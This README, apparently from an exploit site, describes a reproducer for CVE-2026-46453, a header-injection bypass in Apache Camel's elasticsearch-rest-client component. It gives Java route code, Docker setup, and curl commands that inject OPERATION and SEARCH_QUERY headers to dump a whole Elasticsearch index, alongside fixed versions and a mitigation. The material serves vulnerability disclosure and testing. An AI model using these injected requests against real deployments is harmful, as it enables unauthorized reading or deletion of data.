## https://sploitus.com/exploit?id=79317459-0EB7-531C-8084-E743DF23A82B
# camel-elasticsearch-rest-client Unprefixed-Header Injection Reproducer (CVE-2026-46453)
This project demonstrates a **message-header injection / authorization bypass** in Apache Camel's
`camel-elasticsearch-rest-client` component, tracked as **CVE-2026-46453**. The component reads several Exchange
headers to control its behaviour โ `SEARCH_QUERY`, `OPERATION`, `INDEX_NAME`, `INDEX_SETTINGS`, `ID`. In the
affected versions these header **string values** are plain, **unprefixed** names (`"OPERATION"`,
`"SEARCH_QUERY"`, โฆ) rather than the `Camel`-prefixed names every other component uses. Camel's inbound
`HttpHeaderFilterStrategy` blocks only names that start with `Camel`/`camel`, so these headers **pass the
inbound filter unchanged**. When a route exposes an HTTP entry point (e.g. platform-http) in front of an
elasticsearch-rest-client producer, an untrusted HTTP client can set these headers directly and **override the
query and operation** the route author configured โ reading the whole index, deleting documents, etc. No
credentials are required.
Advisory: https://camel.apache.org/security/CVE-2026-46453.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-elasticsearch-rest-client` |
| **Affected constants** | `ElasticSearchRestClientConstant` โ `ID`, `SEARCH_QUERY`, `INDEX_SETTINGS`, `INDEX_NAME`, `OPERATION` (unprefixed values) |
| **CWE** | CWE-20 (Improper Input Validation) + CWE-639 (Authorization Bypass Through User-Controlled Key) |
| **Impact** | Untrusted HTTP client overrides the ES operation/query โ read/delete/exfiltrate documents |
| **Affected Versions** | From 4.3.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23508 |
| **Reporter** | Yu Bao (PayPal) |
> Same header-injection family as CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 and
> CVE-2026-47323 โ all stemming from components reading inbound headers the default `HeaderFilterStrategy`
> doesn't block because the names don't start with the `Camel` prefix.
## Technical Details
```java
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
```
`HttpHeaderFilterStrategy` blocks only `Camel*`/`camel*`, so an inbound HTTP header `OPERATION: SEARCH` (and
`SEARCH_QUERY: {...}`) passes through and overrides the route author's `operation=GET_BY_ID`. The fix
(4.14.8 / 4.18.3 / 4.21.0) renames the **values** to `CamelElasticsearchOperation`, `CamelElasticsearchSearchQuery`,
etc., so the inbound filter blocks them (the Java field names are unchanged).
## The victim route
```java
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
```
An attacker's HTTP request with `OPERATION: SEARCH` + `SEARCH_QUERY: {"query":{"match_all":{}}}` overrides that
and dumps the whole index.
## Repository layout
The **victim** is the Camel route; the **attacker** is any HTTP client that can reach the platform-http
endpoint. The reproducer runs a real **Elasticsearch** in Docker and the Camel app on the host (the app talks to
ES over the mapped port).
```
CVE-2026-46453/
โโโ pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
โโโ docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ EsSeeder.java # seeds a "public" and a "secret" document
โ โโโ VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
โ โโโ ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
โโโ resources/
โโโ application.properties
```
## Prerequisites
- Java 17+ and Maven 3.8+
- Docker (runs Elasticsearch)
## Reproduction Steps
### Step 1: Start Elasticsearch
```bash
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
```
### Step 2: Build and run the app (on the host, talking to the ES container)
```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
```
### Step 3: Trigger the header injection
```bash
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> Header-injection proof โ attacker overrode the operation and read the whole index: true
```
You can also do it by hand โ the injected headers pass straight through platform-http's inbound filter:
```bash
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
```
### Cleanup
```bash
docker compose down
```
## Attack Vectors
Any route that exposes an HTTP entry point in front of an elasticsearch-rest-client producer. The attacker sets
`OPERATION`, `SEARCH_QUERY`, `INDEX_NAME`, `INDEX_SETTINGS`, or `ID` on the inbound HTTP request; they bypass the
`Camel`-prefix inbound filter and reach the producer.
## Exploit Conditions
1. An HTTP consumer (e.g. platform-http) routing to an elasticsearch-rest-client producer on an affected version.
2. The default `HttpHeaderFilterStrategy` (blocks only `Camel*`), which does not cover the unprefixed ES headers.
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23508), which prefixes the header values with `Camel` so the
inbound filter blocks them.
## Mitigation
Until upgrading, strip the affected headers from untrusted inbound messages before the producer:
```java
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
```
or apply a custom `HeaderFilterStrategy` that blocks these names.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.